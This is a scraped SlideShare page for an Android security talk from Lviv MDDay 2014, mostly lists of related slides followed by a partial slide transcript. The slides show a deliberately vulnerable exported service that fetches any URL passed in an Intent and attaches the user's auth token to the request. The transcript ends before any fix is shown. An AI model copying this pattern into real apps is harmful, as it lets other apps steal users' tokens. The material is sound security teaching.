Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
Lviv Startup Club
 
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
Lviv Startup Club
 
Павло Дубовик "Added value"
Павло Дубовик "Added value"Павло Дубовик "Added value"
Павло Дубовик "Added value"
Lviv Startup Club
 
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
Lviv Startup Club
 
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
Lviv Startup Club
 
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
Lviv Startup Club
 
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
Lviv Startup Club
 
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
Lviv Startup Club
 
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
Lviv Startup Club
 

Viewers also liked (20)

Certificate Pinning in Mobile Applications
Certificate Pinning in Mobile ApplicationsCertificate Pinning in Mobile Applications
Certificate Pinning in Mobile Applications
 
Pentesting iOS Apps
Pentesting iOS AppsPentesting iOS Apps
Pentesting iOS Apps
 
CocoaConf Austin 2014 | Demystifying Security Best Practices
CocoaConf Austin 2014 | Demystifying Security Best PracticesCocoaConf Austin 2014 | Demystifying Security Best Practices
CocoaConf Austin 2014 | Demystifying Security Best Practices
 
A look-at-google-glass
A look-at-google-glassA look-at-google-glass
A look-at-google-glass
 
анна христюк “стратегії Email маркетингу”
анна христюк “стратегії Email маркетингу”анна христюк “стратегії Email маркетингу”
анна христюк “стратегії Email маркетингу”
 
International business english (Workshop, part 3) Svitlana Stetsy
International business english (Workshop, part 3) Svitlana StetsyInternational business english (Workshop, part 3) Svitlana Stetsy
International business english (Workshop, part 3) Svitlana Stetsy
 
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
Lviv iCamp 2014. Христина Потоцька “За крок від покупки …”
 
Сергій Фіцак “Як вирости від фрілансера до керівника” Lviv Freelance Forum ...
Сергій Фіцак  “Як вирости від фрілансера до керівника” Lviv Freelance Forum  ...Сергій Фіцак  “Як вирости від фрілансера до керівника” Lviv Freelance Forum  ...
Сергій Фіцак “Як вирости від фрілансера до керівника” Lviv Freelance Forum ...
 
Олександр Нашиван “Концепції та стратегії програм лояльності”
Олександр Нашиван “Концепції та стратегії програм лояльності”Олександр Нашиван “Концепції та стратегії програм лояльності”
Олександр Нашиван “Концепції та стратегії програм лояльності”
 
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
Олена Халявка “Розробка сайту інтернет-магазину без “сучка і задирки”. Як пер...
 
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
Олег Гапчин “Комплексна логістика, як драйвер розвитку інтернет магазину”
 
Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
Віктор Кривизюк «Боротьба за місце під сонцем в розподіленій команді (США, Ін...
 
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
Lviv iCamp 2014. Ольга Горенко “Юзабіліті, як частина інтернет маркетингу”
 
Павло Дубовик "Added value"
Павло Дубовик "Added value"Павло Дубовик "Added value"
Павло Дубовик "Added value"
 
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
Олена Мельон “Як повернути клієнта, який купив у вас один раз?”
 
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
Lviv iCamp 2014. Дмитро Яшкін “Ефективна CPA-кампанія в e-commerce”
 
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
Ігор Стольницький “Як заощадити на розробці інтернет-магазину в кризу”
 
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
Lviv MDDay 2014. Павло Нестерук “Роль дизайну в створенні продуктів”
 
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
Кобрин Ксенія «Перехід на Аджайл – що потрібно знати»
 
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
Стиль Навчання: Опитувальник (анг.мова). (додаток до презентації Дмитра Бібік...
 

Similar to Lviv MDDay 2014. Ігор Коробка “забезпечення базової безпеки в андроїд аплікаціях”

SOLID Principles
SOLID PrinciplesSOLID Principles
SOLID Principles
Chris Weldon
 
Android workshop
Android workshopAndroid workshop
Android workshop
Michael Galpin
 
Android Froyo
Android FroyoAndroid Froyo
Android Froyo
Robert Cooper
 
Advanced #2 networking
Advanced #2   networkingAdvanced #2   networking
Advanced #2 networking
Vitali Pekelis
 
Architecture components - IT Talk
Architecture components - IT TalkArchitecture components - IT Talk
Architecture components - IT Talk
Constantine Mars
 
Architecture Components
Architecture Components Architecture Components
Architecture Components
DataArt
 
Slightly Advanced Android Wear ;)
Slightly Advanced Android Wear ;)Slightly Advanced Android Wear ;)
Slightly Advanced Android Wear ;)
Alfredo Morresi
 
Integrating Wicket with Java EE 6
Integrating Wicket with Java EE 6Integrating Wicket with Java EE 6
Integrating Wicket with Java EE 6
Michael Plöd
 
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
Frédéric Harper
 
The Full Power of ASP.NET Web API
The Full Power of ASP.NET Web APIThe Full Power of ASP.NET Web API
The Full Power of ASP.NET Web API
Eyal Vardi
 
SharePoint Conference 2018 - APIs, APIs everywhere!
SharePoint Conference 2018 - APIs, APIs everywhere!SharePoint Conference 2018 - APIs, APIs everywhere!
SharePoint Conference 2018 - APIs, APIs everywhere!
Sébastien Levert
 
Mobile Software Engineering Crash Course - C06 WindowsPhone
Mobile Software Engineering Crash Course - C06 WindowsPhoneMobile Software Engineering Crash Course - C06 WindowsPhone
Mobile Software Engineering Crash Course - C06 WindowsPhone
Mohammad Shaker
 
ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
habib_786
 
Lecture 10 Networking on Mobile Devices
Lecture 10 Networking on Mobile DevicesLecture 10 Networking on Mobile Devices
Lecture 10 Networking on Mobile Devices
Maksym Davydov
 
Android Networking
Android NetworkingAndroid Networking
Android Networking
Maksym Davydov
 
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
Sébastien Levert
 
APIs, APIs Everywhere!
APIs, APIs Everywhere!APIs, APIs Everywhere!
APIs, APIs Everywhere!
BIWUG
 
Android app development basics
Android app development basicsAndroid app development basics
Android app development basics
Anton Narusberg
 
Firebase with Android
Firebase with AndroidFirebase with Android
Firebase with Android
Fumihiko Shiroyama
 
Тарас Олексин - Sculpt! Your! Tests!
Тарас Олексин  - Sculpt! Your! Tests!Тарас Олексин  - Sculpt! Your! Tests!
Тарас Олексин - Sculpt! Your! Tests!
DataArt
 

Similar to Lviv MDDay 2014. Ігор Коробка “забезпечення базової безпеки в андроїд аплікаціях” (20)

SOLID Principles
SOLID PrinciplesSOLID Principles
SOLID Principles
 
Android workshop
Android workshopAndroid workshop
Android workshop
 
Android Froyo
Android FroyoAndroid Froyo
Android Froyo
 
Advanced #2 networking
Advanced #2   networkingAdvanced #2   networking
Advanced #2 networking
 
Architecture components - IT Talk
Architecture components - IT TalkArchitecture components - IT Talk
Architecture components - IT Talk
 
Architecture Components
Architecture Components Architecture Components
Architecture Components
 
Slightly Advanced Android Wear ;)
Slightly Advanced Android Wear ;)Slightly Advanced Android Wear ;)
Slightly Advanced Android Wear ;)
 
Integrating Wicket with Java EE 6
Integrating Wicket with Java EE 6Integrating Wicket with Java EE 6
Integrating Wicket with Java EE 6
 
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
Windows 8 Pure Imagination - 2012-11-25 - Extending Your Game with Windows 8 ...
 
The Full Power of ASP.NET Web API
The Full Power of ASP.NET Web APIThe Full Power of ASP.NET Web API
The Full Power of ASP.NET Web API
 
SharePoint Conference 2018 - APIs, APIs everywhere!
SharePoint Conference 2018 - APIs, APIs everywhere!SharePoint Conference 2018 - APIs, APIs everywhere!
SharePoint Conference 2018 - APIs, APIs everywhere!
 
Mobile Software Engineering Crash Course - C06 WindowsPhone
Mobile Software Engineering Crash Course - C06 WindowsPhoneMobile Software Engineering Crash Course - C06 WindowsPhone
Mobile Software Engineering Crash Course - C06 WindowsPhone
 
ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
 
Lecture 10 Networking on Mobile Devices
Lecture 10 Networking on Mobile DevicesLecture 10 Networking on Mobile Devices
Lecture 10 Networking on Mobile Devices
 
Android Networking
Android NetworkingAndroid Networking
Android Networking
 
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
SharePoint Saturday Belgium 2018 - APIs, APIs everywhere!
 
APIs, APIs Everywhere!
APIs, APIs Everywhere!APIs, APIs Everywhere!
APIs, APIs Everywhere!
 
Android app development basics
Android app development basicsAndroid app development basics
Android app development basics
 
Firebase with Android
Firebase with AndroidFirebase with Android
Firebase with Android
 
Тарас Олексин - Sculpt! Your! Tests!
Тарас Олексин  - Sculpt! Your! Tests!Тарас Олексин  - Sculpt! Your! Tests!
Тарас Олексин - Sculpt! Your! Tests!
 

More from Lviv Startup Club

Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
Lviv Startup Club
 
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
Lviv Startup Club
 
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
Lviv Startup Club
 
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
Lviv Startup Club
 
Maksym Vyshnivetskyi: PMO Quality Management (UA)
Maksym Vyshnivetskyi: PMO Quality Management (UA)Maksym Vyshnivetskyi: PMO Quality Management (UA)
Maksym Vyshnivetskyi: PMO Quality Management (UA)
Lviv Startup Club
 
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
Lviv Startup Club
 
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
Lviv Startup Club
 
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
Lviv Startup Club
 
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
Lviv Startup Club
 
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
Lviv Startup Club
 
Igor Protsenko: Difference between outsourcing and product companies for prod...
Igor Protsenko: Difference between outsourcing and product companies for prod...Igor Protsenko: Difference between outsourcing and product companies for prod...
Igor Protsenko: Difference between outsourcing and product companies for prod...
Lviv Startup Club
 
Kseniya Leshchenko: Shared development support service model as the way to ma...
Kseniya Leshchenko: Shared development support service model as the way to ma...Kseniya Leshchenko: Shared development support service model as the way to ma...
Kseniya Leshchenko: Shared development support service model as the way to ma...
Lviv Startup Club
 
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
Lviv Startup Club
 
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
Lviv Startup Club
 
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
Lviv Startup Club
 
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
Lviv Startup Club
 
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
Lviv Startup Club
 
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
Lviv Startup Club
 
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
Lviv Startup Club
 
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
Lviv Startup Club
 

More from Lviv Startup Club (20)

Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
Maksym Vyshnivetskyi: PMO KPIs (UA) (#12)
 
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
Artem Bykovets: Чому люди не стають раптово кросс-функціональними, хоча в нас...
 
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
Evgen Osmak: Methods of key project parameters estimation: from the shaman-in...
 
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
Helen Lubchak: Тренди в управлінні проєктами та miltech (UA)
 
Maksym Vyshnivetskyi: PMO Quality Management (UA)
Maksym Vyshnivetskyi: PMO Quality Management (UA)Maksym Vyshnivetskyi: PMO Quality Management (UA)
Maksym Vyshnivetskyi: PMO Quality Management (UA)
 
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
Anatolii Vintsyk: Комунікації в проєкті під час війни (UA)
 
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
Natalia Renska & Roman Astafiev: Нарциси і психопати в організаціях. Як це вп...
 
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
Diana Natkhir: Інструменти Change management для роботи з клієнтами в продукт...
 
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
Khristina Pototska: Steering the Ship: Product Management in Startups vs. Glo...
 
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
Oleksandr Buratynskyi: Як Agile Coach мікроменеджером став 🙃 (UA)
 
Igor Protsenko: Difference between outsourcing and product companies for prod...
Igor Protsenko: Difference between outsourcing and product companies for prod...Igor Protsenko: Difference between outsourcing and product companies for prod...
Igor Protsenko: Difference between outsourcing and product companies for prod...
 
Kseniya Leshchenko: Shared development support service model as the way to ma...
Kseniya Leshchenko: Shared development support service model as the way to ma...Kseniya Leshchenko: Shared development support service model as the way to ma...
Kseniya Leshchenko: Shared development support service model as the way to ma...
 
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
Valeriy Kozlov: Taming the Startup Chaos: GTD for Founders & Small Teams (UA)
 
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
Anna Kompanets: Проблеми впровадження проєктів, про які б ви ніколи не подума...
 
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
Viktoriia Honcharova: PMI: нова стратегія розвитку управління проєктами (UA)
 
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
Andrii Mandrika: Як системно допомагати ЗСУ, використовуючи продуктовий підхі...
 
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
Michael Vidyakin: From Vision to Victory: Mastering the Project-Strategy Conn...
 
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
Kateryna Kubasova: Абстрактне Оксфордське лідерство конкретному українському ...
 
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
Andrii Salii: Навіщо публічному сектору NPS: будуємо довіру через відкритість...
 
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
Anton Hlazkov: Впровадження змін – це процес чи проєкт? Чому важливо розуміти...
 

Lviv MDDay 2014. Ігор Коробка “забезпечення базової безпеки в андроїд аплікаціях”

  • 1. Common Sense Security in Android Applications by Igor Korobka
  • 2. Agenda 1. When it’s public - people WILL use it 2. SSL and its problems 3. And how to fix these problems
  • 3. When it’s public - people WILL use it Bad things are always going to happen in life. People will hurt you… … By exploiting vulnerabilities in you applications!
  • 4. When it’s public - people WILL use it Bad things are always going to happen in life. People will hurt you… … By exploiting vulnerabilities in you applications!
  • 5. Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> ... </manifest>
  • 6. Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> ... </manifest>
  • 7. Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> ... </manifest>
  • 8. Update Data Service <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.epam.itweek.commonsensesecurity.downloader" > ... <service android:name=".UpdateDataIntentService" > <intent-filter> <action android:name= "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"/> </intent-filter> </service> ... </manifest>
  • 9. Update Data Service public class UpdateDataIntentService extends IntentService { private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL"; public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); } @Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... } }
  • 10. Update Data Service public class UpdateDataIntentService extends IntentService { private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL"; public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); } @Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... } }
  • 11. Update Data Service public class UpdateDataIntentService extends IntentService { private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL"; public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); } @Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... } }
  • 12. Update Data Service public class UpdateDataIntentService extends IntentService { private static final String ACTION_UPDATE_DATA = "com.epam.itweek.commonsensesecurity.action.UPDATE_DATA"; private static final String EXTRA_URL = "com.epam.itweek.commonsensesecurity.extra.URL"; public static void startDataUpdate(Context context, String url) { Intent intent = new Intent(context, UpdateDataIntentService.class); intent.setAction(ACTION_UPDATE_DATA); intent.putExtra(EXTRA_URL, url); context.startService(intent); } @Override protected void onHandleIntent(Intent intent) { ... if (ACTION_UPDATE_DATA.equals(action)) { final String url = intent.getStringExtra(EXTRA_URL); performDataUpdate(url); } ... } }
  • 13. Update Data Service public class UpdateDataIntentService extends IntentService { ... private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build(); OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); } ... }
  • 14. Update Data Service public class UpdateDataIntentService extends IntentService { ... private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build(); OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); } ... }
  • 15. Update Data Service public class UpdateDataIntentService extends IntentService { ... private void performDataUpdate(String url) { Request request = new Request.Builder() .url(url) .addHeader(TOKEN, AuthManager.getInstance().getToken()) .build(); OkHttpClient client = new OkHttpClient(); Response response = client.newCall(request).execute(); String newData = response.body().string(); storeDataInDb(newData); } ... }
